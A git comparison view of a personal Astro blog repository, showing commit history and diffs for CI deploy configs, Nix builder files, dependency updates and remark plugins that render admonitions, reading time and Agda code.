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204 commits

Author SHA1 Message Date
2973f40c00 dot color
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2745f390d9 main tag
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39911006a0 update lockfile
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8f8e2bb4bd update rss
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c2510fea83 move woodpecker file
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4e485b29fe add rss feed here 2024-10-22 21:42:10 -05:00
d68bbbaae6 update site title for rss 2024-10-22 21:38:57 -05:00
673d86215b fix link in rss 2024-10-22 21:36:58 -05:00
michael
e1d0bb6d33 nix builder changes
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3e1745f215 forgot to include git ooops
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2d0316adee update footer to include hash
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ee867ae783 update for awscli woodpecker
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f1b8136785 make the tone less doomer 2024-10-21 05:49:15 -05:00
michael
87107d3a29 typo
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michael
d2a3493aee update docker builder to include aws cli
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2496ba67f6 convert link
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2dc78d6aea don't index my drafts
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127a0ca75d upload talk post
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69d0f8a0b1 update github
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2e2fc8d729 fix headings
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9356908e0f update about page
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ea07b359a6 fix the emoji
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478c26313f reformat easyctf post
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096a7a1280 old blog posts
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702ab0e9f6 update footer to include last updated date
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67e042fc35 projects
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8dfb20c352 update links
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8667d33798 undraft
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b33d601900 update to use mathsf
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55ec917eb8 make stuff line up more
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d344924a1d make the title image redirect to about
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bc92b2184b grammar
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2d92966043 tentative dotted background
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4273a1ca0b add the j
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c9c6365c87 fix inner links
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67e9a31def initial draft done
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89abd4ff02 wip
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f166392f35 more blog post wip
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3e4f2d0095 image :)
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79e8a2300a it works
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2f4c87ea1d shortbio 2024-09-18 06:32:18 -05:00
37d59e6927 more wip
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0dd553ad71 add diagrams
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71cf0079dc start hcomp post
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ce5ef4116d update bio
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aeef05a47f faq page wip
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198f3727e2 wip
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764351ccb1 rip
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16c5e3ab81 wip
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67bb9a196c Test rendering this page
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66de827e37 updates
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509fd14440 change background to be bluer
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55da20bde0 bio line height:
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9d073a0be6 update saturation
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126f3357bb update the warning box color
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4a72c2ea7b pijul post
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482189f355 lc post
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d3d9145610 some fixes
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772c46f77b update short bio
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69c17a7a7a new pic who dis
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3949f19f1f update short bio
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77b3323fc6 unignore markdown files
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76ea2d345a undraft
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06d483b3dd Change the way admonitions work
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bbfe4f67ca More updates 2024-06-29 15:15:42 -05:00
9318880a9a Remove allow unused metas 2024-06-29 14:53:45 -05:00
83ceb81f8a
a
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043b3ebe74 new blog post
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531b33442d boolean equivalences
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85c10d012b fix agda colors
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e0ff5bf910 agda
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2b4ca03563 render primitives
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c1d92f48f9 Fix space
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726554826a fix deploy
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6324b12c33 Update builder
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b574a929a7 Update
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68823357ab Add sharp
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4f88615c31 Update builder
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38e2a8cec5 Update dependencies 2024-06-26 19:42:02 -05:00
7375f9c81b agda building!
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a8f1ce9acd agda plugin 2024-06-26 18:18:47 -05:00
b5a5f9cf0a nix 2024-06-26 18:18:25 -05:00
65e5471c3c ci
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5635d03e08 update bio
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4fb464325c update th'bio
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63d837b264 event: push 2024-06-21 01:00:23 -05:00
0d70a68769 Revert "pudate"
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This reverts commit 435ec21f6e.
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5d631561b5 refactoring post
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435ec21f6e pudate
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dfbdf2d4ff update path
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216b1c35ed show left
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3fcaeccf48 logical relations
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d85b7f729f update 2024-05-29 13:33:23 -05:00
22a8c36fff add biome config 2024-05-29 13:32:27 -05:00
6224860b0a add goatcounter
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4fc2c3e589 Update src/content/posts/2024-05-02-ddr/index.mdx
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85ce708153 update
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71481acbf1 pipeline
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f913eb52e2 ddr 2024-05-03 06:22:47 -05:00
b402ee102f add comments
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bc8cb94181 tmp ignore
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1cb392dbae woodpecker
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9bb4c462d8 update 2024-05-02 15:06:19 -05:00
1d48472aa2 start ddr post 2024-05-02 13:00:04 -05:00
1d3a17937d git attributes 2024-04-21 18:24:14 -05:00
cbc83ae11d what the hell 2024-04-20 18:22:15 -05:00
31d4b1fb71 update readme 2024-04-20 01:14:46 -05:00
1f454d6883 lambda calc post 2024-04-20 01:14:46 -05:00
42cbda6ae1 fix the header issue 2024-04-20 01:14:46 -05:00
1f8aac0a5e use alpine/edge 2024-04-20 01:14:46 -05:00
d4fe025437 typst 2024-04-20 01:14:46 -05:00
90f7fa2ee9 home to postlist 2024-04-20 01:14:46 -05:00
ea600b05f7 make the lines more condensed 2024-04-20 01:14:46 -05:00
62b4c105a9 style 2024-04-20 01:14:46 -05:00
565de50eb3 change colors 2024-04-20 01:14:46 -05:00
f048ce45ac remove box shadow 2024-04-20 01:14:46 -05:00
56c95f6051 bio 2024-04-20 01:14:46 -05:00
4768a49fce css 2024-04-20 01:14:46 -05:00
4dafc1b3e8 sourcehut publish 2024-04-20 01:14:46 -05:00
e1cb9b5e0f sudo 2024-04-20 01:14:46 -05:00
226264f124 node > npm 2024-04-20 01:14:46 -05:00
dbbcc3aae7 build 2024-04-20 01:14:46 -05:00
Michael Zhang
32098a3278 Add 'public/. well-known/atproto-did'
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901fb1c005 a 2024-02-05 15:18:35 -06:00
f8e04d7342 install pnpm
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0adaf0c122 try node 20
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da64309feb undraft path induction post
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d70327ffb9 tags on home page
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4895546226 minor: parameter -> index
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396e1f5098 not ish
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025437ca10 more sane date format
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bd63dba9df use the original names
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5216167465 path induction post
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f50ec75e01 comment out all the other build stuff
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0e0249d113 sad
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92c7982c0c wtf 2023-10-11 18:01:49 -05:00
183c998199 z
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e22340a98d test
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948c982418 add packages
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11e1601426 builder
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1ff3499e81 rip
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43a56c941a docker shit
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3935a8934c agda fix
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b36a272815 enable syntax highlighting
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263ed46253 time to bury this forever 2023-09-21 17:40:43 -05:00
328680c54b equality notes
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109c2997c3 border radius
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2d7abd47d0 dont be so verbose
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99e0e5ebab push
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6bb860f61a oops
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ab1597a28b add utterances
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c4b29c5e6f FUCK
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60db0faba3 fix width
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a670600ad7 scroll spy
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e94fee5345 latexify
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49cfb3ccc4 no extra padding on left on mobile
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8e1fac9bd5 admonitions
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5ecc5f8eed update
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b47c8ffae3 cek post revive
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0627d6b0d9 author
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2122aca697 keywords
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4a03a76348 more opengraph metadata
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145 changed files with 13703 additions and 6644 deletions

28
.build.yml Normal file
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@ -0,0 +1,28 @@
image: alpine/edge
oauth: pages.sr.ht/PAGES:RW
packages:
- hut
- npm
- rsync
- typst
environment:
site: mzhang.io
secrets:
- 0b26b413-7901-41c3-a4e2-3c752228ffcb
sources:
- https://git.sr.ht/~mzhang/blog
tasks:
- install: |
sudo npm install -g pnpm
- build: |
cd blog
pnpm install
pnpm run build
# hugo --buildDrafts --minify --baseURL https://mzhang.io
- upload: |
cd blog/dist
tar -cvz . > ../site.tar.gz
cd ..
hut pages publish -d $site site.tar.gz
# echo "mzhang.io ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBzBZ+QmM4EO3Fwc1ZcvWV2IY9VF04T0H9brorGj9Udp" >> ~/.ssh/known_hosts
# rsync -azvrP dist/ sourcehutBuilds@mzhang.io:/mnt/storage/svcdata/blog-public

1
.dockerignore Normal file
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@ -0,0 +1 @@
*

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@ -6,4 +6,4 @@ insert_final_newline = true
trim_trailing_whitespace = true trim_trailing_whitespace = true
charset = utf-8 charset = utf-8
indent_style = space indent_style = space
indent_size = 4 indent_size = 2

2
.gitattributes vendored Normal file
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@ -0,0 +1,2 @@
public/katex/**/* linguist-vendored
src/**/*.md linguist-documentation=false

13
.gitignore vendored
View file

@ -19,3 +19,16 @@ pnpm-debug.log*
# macOS-specific files # macOS-specific files
.DS_Store .DS_Store
PragmataPro-Mono-Liga-Regular-Nerd-Font-Complete.woff2
*.agdai
_build
.direnv
/result
.pnpm-store
/public/generated
.frontmatter

3
.prettierignore Normal file
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@ -0,0 +1,3 @@
public/katex
pnpm-lock.yaml
src/styles/fork-awesome

4
.tokeignore Normal file
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@ -0,0 +1,4 @@
public
package-lock.json
src/styles/fork-awesome
pnpm-lock.yaml

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@ -1,4 +1,7 @@
{ {
"recommendations": ["astro-build.astro-vscode"], "recommendations": [
"astro-build.astro-vscode",
"eliostruyf.vscode-front-matter"
],
"unwantedRecommendations": [] "unwantedRecommendations": []
} }

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@ -1,19 +0,0 @@
pipeline:
build:
image: node:18
commands:
- npm install
- npm run build
deploy:
image: alpine
commands:
- apk add rsync openssh
- echo "$${SSH_SECRET_KEY}" > SSH_SECRET_KEY
- chmod 600 SSH_SECRET_KEY
- mkdir -p ~/.ssh
- echo "mzhang.io ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBzBZ+QmM4EO3Fwc1ZcvWV2IY9VF04T0H9brorGj9Udp" >> ~/.ssh/known_hosts
- rsync -azvrP -e "ssh -i SSH_SECRET_KEY" dist/ sourcehutBuilds@mzhang.io:/mnt/storage/svcdata/blog-public
secrets: [SSH_SECRET_KEY]
when:
branch: master

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.woodpecker/deploy.yml Normal file
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@ -0,0 +1,27 @@
steps:
build:
image: git.mzhang.io/michael/blog-docker-builder:6gzd1rhcl41y02yw4z9kpjgrhxifqyfs
environment:
- ASTRO_TELEMETRY_DISABLED=1
commands:
- mkdir /tmp
- rm -rf node_modules
- npm i -g pnpm@9.4.0
- npx pnpm install --frozen-lockfile
- npx pnpm run build
when:
- event: push
deploy:
image: git.mzhang.io/michael/blog-docker-builder:6gzd1rhcl41y02yw4z9kpjgrhxifqyfs
commands:
- mc alias set $AWS_DEFAULT_REGION $AWS_ENDPOINT_URL $AWS_ACCESS_KEY_ID $AWS_SECRET_ACCESS_KEY --api S3v4
- mc mirror --overwrite ./dist/ $AWS_DEFAULT_REGION/mzhang-io-website/
secrets:
- AWS_ACCESS_KEY_ID
- AWS_DEFAULT_REGION
- AWS_ENDPOINT_URL
- AWS_SECRET_ACCESS_KEY
when:
- branch: master
event: push

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@ -1,68 +1,5 @@
# Astro Starter Kit: Blog # Michael's Blog
``` https://mzhang.io
npm create astro@latest -- --template blog
```
[![Open in StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/github/withastro/astro/tree/latest/examples/blog) License: GPL-3.0 code / CC-BY-SA-4.0 contents
[![Open with CodeSandbox](https://assets.codesandbox.io/github/button-edit-lime.svg)](https://codesandbox.io/p/sandbox/github/withastro/astro/tree/latest/examples/blog)
[![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://codespaces.new/withastro/astro?devcontainer_path=.devcontainer/blog/devcontainer.json)
> 🧑‍🚀 **Seasoned astronaut?** Delete this file. Have fun!
![blog](https://github.com/withastro/astro/assets/2244813/ff10799f-a816-4703-b967-c78997e8323d)
Features:
- ✅ Minimal styling (make it your own!)
- ✅ 100/100 Lighthouse performance
- ✅ SEO-friendly with canonical URLs and OpenGraph data
- ✅ Sitemap support
- ✅ RSS Feed support
- ✅ Markdown & MDX support
## 🚀 Project Structure
Inside of your Astro project, you'll see the following folders and files:
```
├── public/
├── src/
│   ├── components/
│   ├── content/
│   ├── layouts/
│   └── pages/
├── astro.config.mjs
├── README.md
├── package.json
└── tsconfig.json
```
Astro looks for `.astro` or `.md` files in the `src/pages/` directory. Each page is exposed as a route based on its file name.
There's nothing special about `src/components/`, but that's where we like to put any Astro/React/Vue/Svelte/Preact components.
The `src/content/` directory contains "collections" of related Markdown and MDX documents. Use `getCollection()` to retrieve posts from `src/content/blog/`, and type-check your frontmatter using an optional schema. See [Astro's Content Collections docs](https://docs.astro.build/en/guides/content-collections/) to learn more.
Any static assets, like images, can be placed in the `public/` directory.
## 🧞 Commands
All commands are run from the root of the project, from a terminal:
| Command | Action |
| :------------------------ | :----------------------------------------------- |
| `npm install` | Installs dependencies |
| `npm run dev` | Starts local dev server at `localhost:4321` |
| `npm run build` | Build your production site to `./dist/` |
| `npm run preview` | Preview your build locally, before deploying |
| `npm run astro ...` | Run CLI commands like `astro add`, `astro check` |
| `npm run astro -- --help` | Get help using the Astro CLI |
## 👀 Want to learn more?
Check out [our documentation](https://docs.astro.build) or jump into our [Discord server](https://astro.build/chat).
## Credit
This theme is based off of the lovely [Bear Blog](https://github.com/HermanMartinus/bearblog/).

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@ -1,15 +1,57 @@
import { defineConfig } from "astro/config"; import { defineConfig } from "astro/config";
import mdx from "@astrojs/mdx"; import mdx from "@astrojs/mdx";
import sitemap from "@astrojs/sitemap"; import sitemap from "@astrojs/sitemap";
import { remarkReadingTime } from "./plugin/remark-reading-time"; import { rehypeAccessibleEmojis } from "rehype-accessible-emojis";
import remarkReadingTime from "./plugin/remark-reading-time";
import remarkEmoji from "remark-emoji";
import remarkDescription from "astro-remark-description";
import remarkAdmonitions, { mkdocsConfig } from "./plugin/remark-admonitions";
import remarkMath from "remark-math";
import rehypeKatex from "rehype-katex";
import remarkTypst from "./plugin/remark-typst";
import rehypeLinkHeadings from "@justfork/rehype-autolink-headings";
import rehypeSlug from "rehype-slug";
import markdoc from "@astrojs/markdoc";
import remarkAgda from "./plugin/remark-agda";
const outDir = "dist";
const base = process.env.BASE ?? "/";
const publicDir = "public";
// https://astro.build/config // https://astro.build/config
export default defineConfig({ export default defineConfig({
site: "https://example.com", site: "https://mzhang.io",
integrations: [mdx(), sitemap()], prefetch: true,
integrations: [mdx(), sitemap(), markdoc()],
outDir,
base,
trailingSlash: "always",
publicDir,
markdown: { markdown: {
syntaxHighlight: false, syntaxHighlight: "shiki",
remarkPlugins: [remarkReadingTime], shikiConfig: { theme: "css-variables" },
remarkPlugins: [
() => remarkAgda({ outDir, base, publicDir }),
remarkMath,
[remarkAdmonitions, mkdocsConfig],
remarkReadingTime,
remarkTypst,
remarkEmoji,
[
remarkDescription,
{
name: "excerpt",
},
],
],
rehypePlugins: [
[rehypeKatex, {}],
rehypeAccessibleEmojis,
rehypeSlug,
[rehypeLinkHeadings, { behavior: "wrap" }],
],
}, },
}); });

17
biome.json Normal file
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{
"$schema": "https://biomejs.dev/schemas/1.7.3/schema.json",
"organizeImports": {
"enabled": true
},
"formatter": {
"enabled": true,
"indentStyle": "space",
"indentWidth": 2
},
"linter": {
"enabled": true,
"rules": {
"recommended": true
}
}
}

2
blog.agda-lib Normal file
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@ -0,0 +1,2 @@
include: src/content/posts src
depend: standard-library cubical

BIN
bun.lockb Executable file

Binary file not shown.

116
flake.lock Normal file
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@ -0,0 +1,116 @@
{
"nodes": {
"agda": {
"inputs": {
"flake-parts": "flake-parts",
"nixpkgs": [
"nixpkgs"
]
},
"locked": {
"lastModified": 1729253305,
"narHash": "sha256-S7/C8VGMrXeGhFeYXx1cVBjZlNVB5L1o/SkW0hFm0Jc=",
"owner": "agda",
"repo": "agda",
"rev": "3425ed5543d2e6f98094b834fedcdec3a2fb67a6",
"type": "github"
},
"original": {
"owner": "agda",
"repo": "agda",
"type": "github"
}
},
"flake-parts": {
"inputs": {
"nixpkgs-lib": "nixpkgs-lib"
},
"locked": {
"lastModified": 1701473968,
"narHash": "sha256-YcVE5emp1qQ8ieHUnxt1wCZCC3ZfAS+SRRWZ2TMda7E=",
"owner": "hercules-ci",
"repo": "flake-parts",
"rev": "34fed993f1674c8d06d58b37ce1e0fe5eebcb9f5",
"type": "github"
},
"original": {
"owner": "hercules-ci",
"repo": "flake-parts",
"type": "github"
}
},
"flake-utils": {
"inputs": {
"systems": "systems"
},
"locked": {
"lastModified": 1726560853,
"narHash": "sha256-X6rJYSESBVr3hBoH0WbKE5KvhPU5bloyZ2L4K60/fPQ=",
"owner": "numtide",
"repo": "flake-utils",
"rev": "c1dfcf08411b08f6b8615f7d8971a2bfa81d5e8a",
"type": "github"
},
"original": {
"id": "flake-utils",
"type": "indirect"
}
},
"nixpkgs": {
"locked": {
"lastModified": 1729265718,
"narHash": "sha256-4HQI+6LsO3kpWTYuVGIzhJs1cetFcwT7quWCk/6rqeo=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "ccc0c2126893dd20963580b6478d1a10a4512185",
"type": "github"
},
"original": {
"id": "nixpkgs",
"type": "indirect"
}
},
"nixpkgs-lib": {
"locked": {
"dir": "lib",
"lastModified": 1701253981,
"narHash": "sha256-ztaDIyZ7HrTAfEEUt9AtTDNoCYxUdSd6NrRHaYOIxtk=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "e92039b55bcd58469325ded85d4f58dd5a4eaf58",
"type": "github"
},
"original": {
"dir": "lib",
"owner": "NixOS",
"ref": "nixos-unstable",
"repo": "nixpkgs",
"type": "github"
}
},
"root": {
"inputs": {
"agda": "agda",
"flake-utils": "flake-utils",
"nixpkgs": "nixpkgs"
}
},
"systems": {
"locked": {
"lastModified": 1681028828,
"narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=",
"owner": "nix-systems",
"repo": "default",
"rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e",
"type": "github"
},
"original": {
"owner": "nix-systems",
"repo": "default",
"type": "github"
}
}
},
"root": "root",
"version": 7
}

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flake.nix Normal file
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@ -0,0 +1,31 @@
{
inputs.agda.url = "github:agda/agda";
inputs.agda.inputs.nixpkgs.follows = "nixpkgs";
outputs = { self, nixpkgs, flake-utils, agda, }:
flake-utils.lib.eachDefaultSystem (system:
let
pkgs = import nixpkgs { inherit system; overlays = [ agda.overlays.default ]; };
agda-pkg = agda.packages.x86_64-linux.default;
flakePkgs = rec {
agda-bin = pkgs.callPackage ./nix/agda-bin.nix { agda-pkg = pkgs.haskellPackages.Agda.bin; };
docker-builder =
pkgs.callPackage ./nix/docker-builder.nix { inherit agda-bin; };
};
in {
packages = flake-utils.lib.flattenTree flakePkgs;
devShell = pkgs.mkShell {
ASTRO_TELEMETRY_DISABLED = 1;
packages = with pkgs;
with flakePkgs; [
bun
nixfmt-rfc-style
nix-tree
shellcheck
nodejs_20
corepack
];
};
});
}

47
frontmatter.json Normal file
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@ -0,0 +1,47 @@
{
"$schema": "https://frontmatter.codes/frontmatter.schema.json",
"frontMatter.framework.id": "astro",
"frontMatter.preview.host": "http://localhost:4321",
"frontMatter.content.publicFolder": "public",
"frontMatter.content.pageFolders": [
{
"title": "posts",
"path": "[[workspace]]/src/content/posts"
}
],
"frontMatter.taxonomy.contentTypes": [
{
"name": "default",
"pageBundle": false,
"previewPath": "",
"filePrefix": null,
"clearEmpty": true,
"fields": [
{
"title": "Title",
"name": "title",
"type": "string",
"single": true
},
{
"title": "Description",
"name": "description",
"type": "string"
},
{
"title": "Publishing date",
"name": "date",
"type": "datetime",
"default": "{{now}}",
"isPublishDate": true
},
{
"title": "Content preview",
"name": "heroImage",
"type": "image",
"isPreviewImage": true
}
]
}
]
}

23
nix/agda-bin.nix Normal file
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@ -0,0 +1,23 @@
{ agda-pkg, runCommand, writeShellScriptBin, writeTextFile, agdaPackages }:
let
libraryFile =
with agdaPackages;
writeTextFile {
name = "agda-libraries";
text = ''
${agdaPackages.cubical.src}/cubical.agda-lib
${agdaPackages.standard-library.src}/standard-library.agda-lib
'';
};
# Add an extra layer of indirection here to prevent all of GHC from being pulled in
wtf = runCommand "agda-bin" { } ''
cp ${agda-pkg}/bin/agda $out
'';
in
writeShellScriptBin "agda" ''
set -euo pipefail
exec ${wtf} --library-file=${libraryFile} $@
''

47
nix/docker-builder.nix Normal file
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@ -0,0 +1,47 @@
{ dockerTools
, agda-bin
, bash
, corepack
, coreutils
, gitMinimal
, gnused
, minio-client
, nodejs_20
, openssh
, pkgsLinux
, rsync
}:
dockerTools.buildLayeredImage {
name = "blog-docker-builder";
contents = with dockerTools; [
agda-bin
bash
caCertificates
corepack
coreutils
fakeNss
gitMinimal
gnused
minio-client
nodejs_20
openssh
rsync
usrBinEnv
];
# fakeRootCommands = ''
# #!${pkgsLinux.runtimeShell}
# ${pkgsLinux.dockerTools.shadowSetup}
# groupadd -r builder
# useradd -r -g builder builder
# '';
}
# copyToRoot = with dockerTools; buildEnv {
# name = "blog-docker-builder-image-root";
# paths = [
# ];
# };

6359
package-lock.json generated

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@ -2,27 +2,56 @@
"name": "blog", "name": "blog",
"type": "module", "type": "module",
"version": "0.0.1", "version": "0.0.1",
"packageManager": "pnpm@9.4.0+sha256.b6fd0bfda555e7e584ad7e56b30c68b01d5a04f9ee93989f4b93ca8473c49c74",
"scripts": { "scripts": {
"dev": "astro dev", "dev": "astro dev",
"start": "astro dev", "start": "astro dev",
"build": "astro build", "build": "astro build",
"preview": "astro preview", "preview": "astro preview",
"astro": "astro" "astro": "astro",
"format": "prettier -w ."
}, },
"dependencies": { "dependencies": {
"@astrojs/mdx": "^1.0.0", "@astrojs/markdoc": "^0.11.1",
"@astrojs/markdown-remark": "^5.1.1",
"@astrojs/mdx": "^1.1.5",
"@astrojs/rss": "^3.0.0", "@astrojs/rss": "^3.0.0",
"@astrojs/sitemap": "^3.0.0", "@astrojs/sitemap": "^3.1.6",
"astro": "^3.0.3", "@justfork/rehype-autolink-headings": "^5.1.1",
"astro": "^3.6.5",
"astro-imagetools": "^0.9.0",
"astro-remark-description": "^1.1.2",
"classnames": "^2.5.1",
"fork-awesome": "^1.2.0", "fork-awesome": "^1.2.0",
"katex": "^0.16.10",
"lodash-es": "^4.17.21", "lodash-es": "^4.17.21",
"mdast-util-to-string": "^4.0.0", "mdast-util-to-string": "^4.0.0",
"reading-time": "^1.5.0" "nanoid": "^4.0.2",
"reading-time": "^1.5.0",
"rehype-accessible-emojis": "^0.3.2",
"rehype-katex": "^6.0.3",
"remark-emoji": "^4.0.1",
"remark-github-beta-blockquote-admonitions": "^2.2.1",
"remark-math": "^5.1.1",
"remark-parse": "^10.0.2",
"sanitize-html": "^2.13.1",
"sharp": "^0.33.4"
}, },
"devDependencies": { "devDependencies": {
"@types/lodash-es": "^4.17.9", "@biomejs/biome": "^1.8.2",
"prettier": "^3.0.3", "@types/lodash-es": "^4.17.12",
"prettier-plugin-astro": "^0.12.0", "@types/sanitize-html": "^2.13.0",
"sass": "^1.66.1" "date-fns": "^2.30.0",
"hast-util-from-html": "^2.0.1",
"hast-util-to-html": "^9.0.1",
"mdast": "^3.0.0",
"mdast-util-from-markdown": "^2.0.1",
"prettier": "^3.3.2",
"prettier-plugin-astro": "^0.12.3",
"rehype-slug": "^6.0.0",
"sass": "^1.77.6",
"shiki": "^0.14.7",
"unified": "^11.0.5",
"unist-util-visit": "^5.0.0"
} }
} }

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@ -0,0 +1,155 @@
// https://github.com/myl7/remark-github-beta-blockquote-admonitions
// License: Apache-2.0
import { visit } from "unist-util-visit";
import type { Data } from "unist";
import type { BuildVisitor } from "unist-util-visit";
import type { Blockquote, Paragraph, Text } from "mdast";
import type { RemarkPlugin } from "@astrojs/markdown-remark";
import classNames from "classnames";
const remarkAdmonitions: RemarkPlugin =
(providedConfig?: Partial<Config>) => (tree) => {
visit(tree, handleNode({ ...defaultConfig, ...providedConfig }));
};
export default remarkAdmonitions;
const handleNode =
(config: Config): BuildVisitor =>
(node) => {
// Filter required elems
if (node.type !== "blockquote") return;
const blockquote = node as Blockquote;
if (blockquote.children[0]?.type !== "paragraph") return;
const paragraph = blockquote.children[0];
if (paragraph.children[0]?.type !== "text") return;
const text = paragraph.children[0];
// A link break after the title is explicitly required by GitHub
const titleEnd = text.value.indexOf("\n");
if (titleEnd < 0) return;
const textBody = text.value.substring(titleEnd + 1);
let title = text.value.substring(0, titleEnd);
// Handle whitespaces after the title.
// Whitespace characters are defined by GFM
const m = /[ \t\v\f\r]+$/.exec(title);
if (m && !config.titleKeepTrailingWhitespaces) {
title = title.substring(0, title.length - m[0].length);
}
if (!nameFilter(config.titleFilter)(title)) return;
const { displayTitle, checkedTitle } = config.titleTextMap(title);
// Update the text body
text.value = textBody;
// Insert the title element and add classes for the title
const paragraphTitleText: Text = { type: "text", value: displayTitle };
const paragraphTitle: Paragraph = {
type: "paragraph",
children: [paragraphTitleText],
data: config.dataMaps.title({
hProperties: {
className: classNameMap(config.classNameMaps.title)(checkedTitle),
},
}),
};
blockquote.children.unshift(paragraphTitle);
// Add classes for the block
blockquote.data = config.dataMaps.block({
...blockquote.data,
hProperties: {
className: classNameMap(config.classNameMaps.block)(checkedTitle),
},
// The blockquote should be rendered as a div, which is explicitly required by GitHub
hName: "div",
});
};
const TITLE_PATTERN =
/\[\!admonition: (attention|caution|danger|error|hint|important|note|tip|warning)\]/i;
export const mkdocsConfig: Partial<Config> = {
classNameMaps: {
block: (title) => [
"admonition",
...(title.startsWith("admonition: ")
? title.substring("admonition: ".length)
: title
).split(" "),
],
title: classNames("admonition-title"),
},
titleFilter: (title) => Boolean(title.match(TITLE_PATTERN)),
titleTextMap: (title: string) => {
const match = title.match(TITLE_PATTERN);
const displayTitle = match?.[1] ?? "";
const checkedTitle = displayTitle;
return { displayTitle, checkedTitle };
},
};
export interface Config {
classNameMaps: {
block: ClassNameMap;
title: ClassNameMap;
};
titleFilter: NameFilter;
titleTextMap: (title: string) => {
displayTitle: string;
checkedTitle: string;
};
dataMaps: {
block: (data: Data) => Data;
title: (data: Data) => Data;
};
titleKeepTrailingWhitespaces: boolean;
legacyTitle: boolean;
}
export const defaultConfig: Config = {
classNameMaps: {
block: "admonition",
title: "admonition-title",
},
titleFilter: ["[!NOTE]", "[!IMPORTANT]", "[!WARNING]"],
titleTextMap: (title) => ({
displayTitle: title.substring(2, title.length - 1),
checkedTitle: title.substring(2, title.length - 1),
}),
dataMaps: {
block: (data) => data,
title: (data) => data,
},
titleKeepTrailingWhitespaces: false,
legacyTitle: false,
};
type ClassNames = string | string[];
type ClassNameMap = ClassNames | ((title: string) => ClassNames);
export function classNameMap(gen: ClassNameMap) {
return (title: string) => {
const classNames = typeof gen === "function" ? gen(title) : gen;
return typeof classNames === "object" ? classNames.join(" ") : classNames;
};
}
type NameFilter = ((title: string) => boolean) | string[];
export function nameFilter(filter: NameFilter) {
return (title: string) => {
return typeof filter === "function"
? filter(title)
: filter.includes(title);
};
}

178
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import type { RootContent } from "hast";
import { fromMarkdown } from "mdast-util-from-markdown";
import { fromHtml } from "hast-util-from-html";
import { toHtml } from "hast-util-to-html";
import { spawnSync } from "node:child_process";
import {
mkdirSync,
mkdtempSync,
readFileSync,
existsSync,
readdirSync,
copyFileSync,
writeFileSync,
} from "node:fs";
import { tmpdir } from "node:os";
import { join, parse, resolve, basename } from "node:path";
import { visit } from "unist-util-visit";
import type { RemarkPlugin } from "@astrojs/markdown-remark";
interface Options {
base: string;
outDir: string;
publicDir: string;
}
const remarkAgda: RemarkPlugin = ({ base, publicDir }: Options) => {
const destDir = join(publicDir, "generated", "agda");
mkdirSync(destDir, { recursive: true });
return (tree, { history }) => {
const path: string = history[history.length - 1]!;
if (!(path.endsWith(".lagda.md") || path.endsWith(".agda"))) return;
console.log("AGDA:processing path", path);
const tempDir = mkdtempSync(join(tmpdir(), "agdaRender."));
const agdaOutDir = join(tempDir, "output");
mkdirSync(agdaOutDir, { recursive: true });
const childOutput = spawnSync(
"agda",
[
"--html",
`--html-dir=${agdaOutDir}`,
"--highlight-occurrences",
"--html-highlight=code",
path,
],
{},
);
// Locate output file
const directory = readdirSync(agdaOutDir);
const outputFilename = directory.find((name) => name.endsWith(".md"));
if (childOutput.status !== 0 || outputFilename === undefined) {
throw new Error(
`Agda output:
Stdout:
${childOutput.stdout}
Stderr:
${childOutput.stderr}
`,
{
cause: childOutput.error,
},
);
}
const outputFile = join(agdaOutDir, outputFilename);
// // TODO: Handle child output
// console.error("--AGDA OUTPUT--");
// console.error(childOutput);
// console.error(childOutput.stdout?.toString());
// console.error(childOutput.stderr?.toString());
// console.error("--AGDA OUTPUT--");
const referencedFiles = new Set();
for (const file of readdirSync(agdaOutDir)) {
referencedFiles.add(file);
const fullPath = join(agdaOutDir, file);
const fullDestPath = join(destDir, file);
if (file.endsWith(".html")) {
const src = readFileSync(fullPath);
writeFileSync(
fullDestPath,
`
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="${base}generated/agda/Agda.css" />
</head>
<body>
<pre class="Agda">
${src}
</pre>
</body>
</html>
`,
);
} else {
copyFileSync(fullPath, fullDestPath);
}
}
const htmlname = basename(resolve(outputFile)).replace(
/(\.lagda)?\.md/,
".html",
);
const doc = readFileSync(outputFile);
// This is the post-processed markdown with HTML code blocks replacing the Agda code blocks
const tree2 = fromMarkdown(doc);
const collectedCodeBlocks: RootContent[] = [];
visit(tree2, "html", (node) => {
const html = fromHtml(node.value, { fragment: true });
const firstChild: RootContent = html.children[0]!;
visit(html, "element", (node) => {
if (node.tagName !== "a") return;
if (node.properties.href) {
// Trim off end
const [href, hash, ...rest] = node.properties.href.split("#");
if (rest.length > 0) throw new Error("come look at this");
if (href === htmlname) {
node.properties.href = `#${hash}`;
}
if (referencedFiles.has(href)) {
node.properties.href = `${base}generated/agda/${href}${hash ? `#${hash}` : ""}`;
node.properties.target = "_blank";
}
}
});
if (!firstChild?.properties?.className?.includes("Agda")) return;
const stringContents = toHtml(firstChild);
collectedCodeBlocks.push({
contents: stringContents,
});
});
let idx = 0;
try {
visit(tree, "code", (node) => {
if (!(node.lang === null || node.lang === "agda")) return;
if (idx > collectedCodeBlocks.length) {
throw new Error("failed");
}
node.type = "html";
node.value = collectedCodeBlocks[idx].contents;
idx += 1;
});
} catch (e) {
// TODO: Figure out a way to handle this correctly
// Possibly by diffing?
console.log(
"Mismatch in number of args. Perhaps there was an empty block?",
);
}
};
};
export default remarkAgda;

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@ -1,12 +1,16 @@
import getReadingTime from "reading-time"; import getReadingTime from "reading-time";
import { toString } from "mdast-util-to-string"; import { toString } from "mdast-util-to-string";
import type { RemarkPlugin } from "@astrojs/markdown-remark";
export function remarkReadingTime() { const remarkReadingTime: RemarkPlugin = () => {
return function (tree, { data }) { return (tree, { data }) => {
const textOnPage = toString(tree); const textOnPage = toString(tree);
const readingTime = getReadingTime(textOnPage); const readingTime = getReadingTime(textOnPage);
// readingTime.text will give us minutes read as a friendly string, // readingTime.text will give us minutes read as a friendly string,
// i.e. "3 min read" // i.e. "3 min read"
data.astro.frontmatter.minutesRead = readingTime.text; data.astro.frontmatter.minutesRead = readingTime.text;
}; };
} };
export default remarkReadingTime;

42
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import type { RemarkPlugin } from "@astrojs/markdown-remark";
